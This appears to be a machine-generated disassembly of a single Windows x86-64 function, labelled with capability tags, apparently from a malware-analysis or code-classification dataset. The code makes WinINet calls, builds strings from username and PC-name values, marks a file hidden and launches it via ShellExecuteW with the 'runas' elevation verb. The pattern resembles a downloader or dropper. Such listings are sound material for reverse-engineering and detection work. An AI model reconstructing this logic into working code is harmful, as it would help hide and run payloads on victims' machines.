Function at 0x1400047fc
Capabilities:
Create http request
Create process on windows
Query environment variable
Set file attributes

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x488]
sub rsp, 0x560
mov qword [rbp + 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14007a0a0]
xor rax, rsp
mov qword [rbp + 0x450], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x130]
call fcn.140030f80
lea rcx, [rbp + 0x130]
call fcn.1400031e4
nop
xor r12d, r12d
mov r15d, r12d
mov qword [rbp + 0xa8], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea r13d, [r12 + 1]
mov edx, r13d
lea rcx, str.WinINet_Example
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x130]
call fcn.140004568
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x68], xmm0
mov ebx, r12d
mov qword [rbp + 0x78], rbx
lea r9, [0x14006ca40]
mov qword [rbp - 0x48], r9
mov r11d, 0xa
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae rcx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
cmp r8, r13
jb 0x140004977
lea rsi, [rcx + r8*2]
mov rdi, rcx
mov rax, rsi
sub rax, rdi
sar rax, 1
mov rdx, r12
je 0x14000491a
jmp 0x140004911
cmp rax, r13
je 0x14000491a
sub rax, r13
add rdi, 2
cmp word [rdi], r11w
jne 0x140004905
mov rdx, rdi
mov rdi, rdx
test rdx, rdx
je 0x140004977
mov r10, r13
mov rdx, r9
movzx eax, word [rdi]
mov r9d, r11d
cmp ax, r11w
jb 0x140004962
mov r11, rdi
sub r11, qword [rbp - 0x48]
cmp ax, r9w
ja 0x14000495c
cmp r10, r13
je 0x14000496f
sub r10, r13
add rdx, 2
movzx eax, word [rdx + r11]
movzx r9d, word [rdx]
cmp ax, r9w
jae 0x14000493f
mov r11d, 0xa
add rdi, 2
lea r9, [0x14006ca40]
jmp 0x1400048f5
sub rdi, rcx
sar rdi, 1
jmp 0x14000497b
or rdi, 0xffffffffffffffff
cmp rdi, 0xffffffffffffffff
je 0x140004a92
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r12w
mov rdx, rdi
cmp r8, rdi
cmovb rdx, r8
lea r9, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae r9, qword [rbp + 0x80]
lea rcx, [rsp + 0x30]
cmp rdx, 7
ja 0x1400049e1
mov qword [rsp + 0x40], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.140030b20
mov word [rsp + rbx + 0x30], r12w
jmp 0x1400049e7
call fcn.1400098a4
nop
mov rdx, qword [rbp + 0x70]
cmp qword [rbp + 0x78], rdx
je 0x140004a25
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rdx + 0x10], xmm1
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r12w
add qword [rbp + 0x70], 0x20
jmp 0x140004a34
lea r8, [rsp + 0x30]
lea rcx, [rbp + 0x68]
call fcn.14000920c
nop
lea rcx, [rsp + 0x30]
call fcn.140007dc0
lea rax, [rdi + 1]
mov r8, qword [rbp + 0x90]
cmp r8, rax
cmovb rax, r8
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae rcx, qword [rbp + 0x80]
sub r8, rax
mov qword [rbp + 0x90], r8
lea r8, [r8*2 + 2]
lea rdx, [rcx + rax*2]
call fcn.140030b20
mov rbx, qword [rbp + 0x78]
lea r9, [0x14006ca40]
jmp 0x1400048c1
mov rax, qword [rbp + 0x70]
cmp rbx, rax
je 0x140004ac5
mov qword [rbp - 0x20], rax
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
lea rdx, [rbp + 0x80]
mov rcx, rax
call fcn.140008028
nop
mov rsi, qword [rbp + 0x70]
add rsi, 0x20
mov qword [rbp + 0x70], rsi
jmp 0x140004adc
lea r8, [rbp + 0x80]
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.1400093f8
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
cmp rdi, rsi
je 0x14000541a
lea rax, [rsp + 0x30]
mov qword [rbp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x40], rax
mov ebx, 0x30
lea r14d, [rbx - 0x28]
lea r15d, [rbx - 0x29]
lea r8, [0x14006ca48]
lea rdx, [0x14007abb0]
lea rcx, [rbp - 0x10]
call fcn.140008d04
nop
lea rdx, [0x14007ab90]
cmp qword [0x14007aba8], r14
cmovae rdx, qword [0x14007ab90]
mov r8, qword [0x14007aba0]
mov rcx, rax
call fcn.140008b10
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
mov r8, r13
lea rdx, [0x14006ca44]
lea rcx, [rsp + 0x30]
call fcn.140008b10
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
mov rdx, rdi
cmp qword [rdi + 0x18], r14
jb 0x140004bb3
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x50]
call fcn.140008b10
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
lea rcx, [rsp + 0x50]
call fcn.140007dc0
nop
lea rcx, [rsp + 0x30]
call fcn.140007dc0
nop
lea rcx, [rbp - 0x10]
call fcn.140007dc0
lea rax, [rsp + 0x30]
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea rdx, [0x14007ab90]
lea rcx, [rsp + 0x30]
call fcn.140008028
nop
lea r8, str.username
lea rdx, [0x14007ac10]
lea rcx, [rbp + 0x48]
call fcn.140008d04
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], r14
cmovae rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.140008b10
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x230]
call fcn.140002764
nop
lea rcx, [rsp + 0x70]
call fcn.140007dc0
nop
lea rcx, [rbp + 0x48]
call fcn.140007dc0
nop
lea rcx, [rsp + 0x30]
call fcn.140007dc0
nop
lea rax, [rsp + 0x50]
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
lea rdx, [0x14007ab90]
lea rcx, [rsp + 0x50]
call fcn.140008028
nop
lea r8, str.username
lea rdx, [0x14007ac30]
lea rcx, [rbp - 0x70]
call fcn.140008d04
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], r14
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
call fcn.140008b10
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x230]
call fcn.140002764
nop
lea rcx, [rsp + 0x70]
call fcn.140007dc0
nop
lea rcx, [rbp - 0x70]
call fcn.140007dc0
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], r14
cmovae rcx, qword [rbp + 0x48]
mov r8d, 0x104
lea rdx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
nop
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r15
mov word [rbp + 0x10], r12w
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x10]
call fcn.140007f4c
nop
lea rcx, [rbp + 0x48]
call fcn.140007dc0
nop
lea rcx, [rsp + 0x50]
call fcn.140007dc0
nop
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xb0]
call fcn.140008f7c
nop
lea rcx, [rbp + 0x10]
call fcn.140007dc0
nop
lea rcx, [rbp - 0x10]
call fcn.140007dc0
lea r8, [0x14006ca28]
lea rdx, [0x14007ac50]
lea rcx, [rbp - 0x70]
call fcn.140008d04
nop
mov rdx, rdi
cmp qword [rdi + 0x18], r14
jb 0x140004e0b
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140008b10
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x230]
call fcn.140002764
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], r14
jb 0x140004e5d
mov rax, qword [rax]
cmp rcx, r13
jne 0x140004ea1
mov r9, r13
lea r10, [0x14006ca24]
mov rdx, r10
movzx ecx, word [rax]
mov r8d, ebx
cmp cx, bx
jb 0x140004ea1
sub rax, r10
cmp cx, r8w
ja 0x140004ea1
cmp r9, r13
je 0x1400053a0
sub r9, r13
add rdx, 2
movzx ecx, word [rdx + rax]
movzx r8d, word [rdx]
cmp cx, r8w
jae 0x140004e81
mov bl, r13b
lea rcx, [rbp + 0x48]
call fcn.140007dc0
nop
lea rcx, [rsp + 0x70]
call fcn.140007dc0
nop
lea rcx, [rbp - 0x70]
call fcn.140007dc0
test bl, bl
je 0x1400053e1
lea r8, str.pc_name
lea rdx, [0x14007acb0]
lea rcx, [rbp - 0x40]
call fcn.140008d04
nop
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], r14
cmovae rdx, qword [rbp + 0x130]
mov r8, qword [rbp + 0x140]
mov rcx, rax
call fcn.140008b10
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
mov r8, r13
lea rdx, [0x14006c76c]
lea rcx, [rbp + 0x48]
call fcn.140008b10
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
mov rdx, rdi
cmp qword [rdi + 0x18], r14
jb 0x140004f6c
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rcx, [rbp - 0x70]
call fcn.140008b10
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x230]
call fcn.140002764
nop
lea rcx, [rsp + 0x70]
call fcn.140007dc0
nop
lea rcx, [rbp - 0x70]
call fcn.140007dc0
nop
lea rcx, [rbp + 0x48]
call fcn.140007dc0
nop
lea rcx, [rbp - 0x40]
call fcn.140007dc0
nop
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x230]
call fcn.1400028fc
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x20]
call fcn.140002e4c
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x48]
call fcn.140002e4c
mov rax, qword [rbp - 0x48]
cmp qword [rbp - 0x20], rax
je 0x1400053c7
lea r9, [rbp + 0xb0]
lea r8, [rbp + 0xd0]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140002c04
lea rcx, [rbp - 0x40]
call fcn.140007dc0
lea rax, [rbp + 0x48]
mov qword [rbp - 0x18], rax
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
mov rdx, rdi
lea rcx, [rbp + 0x48]
call fcn.140008028
nop
lea rax, [rbp - 0x70]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x70]
call fcn.140008028
nop
lea r9, [rbp + 0x48]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x130]
call fcn.1400042c8
lea rcx, [rbp - 0x40]
call fcn.140007dc0
lea rax, [rsp + 0x50]
mov qword [rbp - 0x50], rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
lea rdx, [0x14007ab90]
lea rcx, [rsp + 0x50]
call fcn.140008028
nop
lea rax, [rsp + 0x50]
mov qword [rbp - 0x50], rax
lea r8, str.username
lea rdx, [0x14007ac70]
lea rcx, [rbp - 0x40]
call fcn.140008d04
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], r14
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
call fcn.140008b10
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
lea r8, [rbp + 0x48]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x230]
call fcn.140002764
nop
lea rcx, [rbp + 0x48]
call fcn.140007dc0
nop
lea rcx, [rbp - 0x40]
call fcn.140007dc0
nop
lea rcx, [rsp + 0x50]
call fcn.140007dc0
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], r14
cmovae rax, qword [rbp - 0x70]
cmp qword [rbp - 0x60], r13
jne 0x1400051c0
mov r9, r13
lea r11, [0x14006c9e8]
mov rdx, r11
movzx ecx, word [rax]
mov r10d, 0x31
mov r8d, r10d
cmp cx, r10w
jb 0x1400051c0
sub rax, r11
cmp cx, r8w
ja 0x1400051c0
cmp r9, r13
je 0x1400053a8
sub r9, r13
add rdx, 2
movzx ecx, word [rdx + rax]
movzx r8d, word [rdx]
cmp cx, r8w
jae 0x1400051a0
mov bl, r12b
lea rcx, [rbp - 0x70]
call fcn.140007dc0
test bl, bl
je 0x1400051f1
lea rcx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], r14
cmovae rcx, qword [rbp + 0xb0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], r14
cmovae rbx, qword [rbp + 0xb0]
lea rax, [rsp + 0x50]
mov qword [rbp - 0x50], rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
lea rdx, [0x14007ab90]
lea rcx, [rsp + 0x50]
call fcn.140008028
nop
lea rax, [rsp + 0x50]
mov qword [rbp - 0x50], rax
lea r8, str.username
lea rdx, [0x14007ac90]
lea rcx, [rbp - 0x10]
call fcn.140008d04
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], r14
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
call fcn.140008b10
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov word [rax], r12w
lea r8, [rbp + 0x48]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x230]
call fcn.140002764
nop
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], r14
jb 0x1400052af
mov rax, qword [rax]
cmp rcx, r13
jne 0x1400052fa
mov r9, r13
lea r11, [0x14006c9e8]
mov rdx, r11
movzx ecx, word [rax]
mov r10d, 0x31
mov r8d, r10d
cmp cx, r10w
jb 0x1400052fa
sub rax, r11
cmp cx, r8w
ja 0x1400052fa
cmp r9, r13
je 0x1400053b0
sub r9, r13
add rdx, 2
movzx ecx, word [rdx + rax]
movzx r8d, word [rdx]
cmp cx, r8w
jae 0x1400052da
mov al, r12b
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r15
mov word [rsp + 0x30], r12w
lea rcx, str.runas
lea rdx, str.open
test al, al
cmovne rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.140007f4c
nop
lea rcx, [rbp - 0x40]
call fcn.140007dc0
nop
lea rcx, [rbp + 0x48]
call fcn.140007dc0
nop
lea rcx, [rbp - 0x10]
call fcn.140007dc0
nop
lea rcx, [rsp + 0x50]
call fcn.140007dc0
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], r14
cmovae rdx, qword [rsp + 0x30]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, rax
lea rcx, [rsp + 0x30]
call fcn.140007dc0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x130]
cmp ebx, 0x20
jle 0x1400053b8
call fcn.140003d28
jmp 0x1400053bd
mov bl, r12b
jmp 0x140004ea4
mov bl, r13b
jmp 0x1400051c3
mov al, r13b
jmp 0x1400052fd
call fcn.140003ff8
lea rcx, [rbp - 0x40]
call fcn.140007dc0
nop
lea rcx, [rbp + 0xf0]
call fcn.140007dc0
nop
lea rcx, [rbp + 0x110]
call fcn.140007dc0
nop
lea rcx, [rbp + 0xb0]
call fcn.140007dc0
nop
lea rcx, [rbp + 0xd0]
call fcn.140007dc0
add rdi, 0x20
cmp rdi, rsi
mov ebx, 0x30
jne 0x140004b08
mov r15, qword [rbp + 0xa8]
mov r14, qword [rbp + 0xa0]
lea rcx, [rbp + 0x68]
call fcn.140007b64
nop
lea rcx, [rbp + 0x80]
call fcn.140007dc0
nop
test r15, r15
je 0x14000543f
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r14, r14
je 0x14000544e
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp + 0x130]
call fcn.14000548c
xor al, al
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.14002f160
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret